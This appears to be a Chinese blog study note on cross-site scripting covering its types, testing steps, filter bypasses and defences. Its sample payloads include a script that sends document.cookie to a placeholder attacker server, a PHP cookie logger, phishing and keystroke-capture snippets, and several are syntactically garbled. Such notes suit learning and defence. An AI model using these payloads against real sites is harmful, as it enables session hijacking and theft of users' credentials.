XSS手记

XSS手记

XSS攻击:

跨站脚本攻击是攻击者利用网站程序对用户输入过滤不足的缺陷,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用身份进行某种动作或对访问者进行病毒侵害的一种攻击方式

原理:

本质上是一种将恶意脚本嵌入到当前网页中并执行的攻击方式。黑客通过HTML注入行为篡改网页,并插入恶意的js脚本,从而在用户浏览网页的时候控制浏览器行为

产生原因:

主要原因是网站对用户提交的数据过滤不严格,攻击者利用其用户身份在输入参数时附带了恶意脚本,在提交到服务器后,服务器没有对用户端传入的参数做任何的安全过滤,将脚本存储在数据库中或直接回显给用户

危害:

窃取网页浏览中的cookie值:
在网页浏览中我们常常涉及到用户登录,登录完毕后服务端会返回一个cookie值,这个cookie就等同于证明了你是某个用户。
劫持流量实现恶意跳转:
<script>windows.location.href="http://www.baidu.com";</script>若网页插入一句这样的语句那么访问这个网站就会被跳转到百度的首页。
配合csrf形成r

XSS类型:

反射型:
页面将用户输入的数据通过url的形式直接或未经过完善的安全过滤在浏览器中进行输出。由于此类的跨站脚本存在于url中,因此黑客通过诈骗或加密变形等方式,将存在恶意代码的连接发给用户,只有用户点击以后才能使攻击实施
存储型:
web应用程序将用户输入的数据信息保存在服务器端的数据库或其他文件形式中,只要用户访问居有xss攻击脚本的网页时,就会触发攻击效果
基于dom的xss:
由于js的dom节点变成可以改变html代码这个特性而形成的攻击。由于构造语句有较大难度,且实现效果及要求过于苛刻,因此比较少见。

攻击条件:

1目标网页有攻击者可控的输入点
2输入信息可以在受害者的浏览器中显示
3目标网页可输入可执行脚本
4浏览器具备解析、执行脚本的能力

测试思路:

1、寻找输入点

xss漏洞的存在要求是:当前页面存在参数显示点,且参数显示点可被用户控制输入
反射型一般存在于网站的搜索页面、登陆页面等用户的简单交互页面,或者get型请求的url中
存储型一般发生在留言板、在线信箱、评论栏等表现特征是用户可执行输入数据,并且数据会提交给服务器。
除直接观察外,利用burpsuite抓包寻找输入点 2、寻找输出点
xss攻击的受害者是访问过包含xss恶意代码页面的用户,输入内容需要在用户页面上进行展示才能展开xss攻击。测试输出位置主要基于两个目的:
确认网站对输入内容是否进行了输出,判断是否可以开展xss攻击 根据输出的位置html的环境来编写有效的xss代码

绕过方式:

大小写
双写
更换标签
闭合标签
编码脚本代码绕过关键字过滤(url编码后要通过eval才能被识别)

反射型xss攻击的常见攻击:
1、弹出一个文本对话框

<script>alert("1")</script>

2、onload的作用当页面载入完毕后执行代码

<body οnlοad=alert("1")>

3、onclick会在对象被点击时发生

<a href='' οnclick=alert('1')>

4、img后是一个图像的url,当错误时,执行oneerror后代码

<img src=http://fa/fdas.jpg οnerrοr=alert('1')>

5、window.location用于获得当前页面url,并把浏览器重定向到新的页面

<script>window.location="http://当前'</script><iframe src='http://某网站/a.jpg' height='1' width='1'></iframe>

6、获取cookie

<script>Document.location="http://黑客的服务器/cookie.php?cookie='+document.cookie;</script>

其中cookie.php内容为:

<?php
$cookie=$GET['cookie'];
$log=fopen("cookie.txt","a");
fwrite($log,$cookie);
fclose($log);
?>
<script>alert(document.cookie)</script>

7、钓鱼

<script src="钓鱼网站"></script>

8、窃取按键信息

<script>
function keydown(){
var realkey=string.fromcharcode(event.keycode);
alert(realkey);}
document.οnkeydοwn=keydown;
</script>

防护方法:

过滤特殊字符:xss
filter,作用时过滤客户端提交的有害信息。xss攻击代码想要执行,必须使用一些脚本中的关键幻术或者标签,如果能编写一个较为严格的过滤函数,将输入信息中的关键字过滤掉,那么跨站脚本就不能被浏览器识别和执行。

使用实体化编码(html编码、js编码等):在输出内容之前对特殊字符进行编码和转义,让浏览器能知道这些字符是被用作文字显示而不是作为代码执行,就会使攻击代码无法被浏览器执行

httponly:xss一般是利用js脚本读取用户的cookie,而如果在服务器端对cookie设置了httponly属性,那么js脚本就不能读取cookie。httponly是cookie的一项属性。如果一个cookie值设置了这个属性,那么浏览器将禁止页面的js房屋内这个cookie。httponly是一个防止cookie被恶意读取的设置,仅仅可阻碍跨站攻击窃取cookie信息,并没有从根本上解决xss问题。
实际应用中,httponly没有被广泛的使用,这是从业务便利性角度进行的选择。例如在广告推荐时,会利用js脚本读取cookie信息作精准推广,如果开启httponly则会失败。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值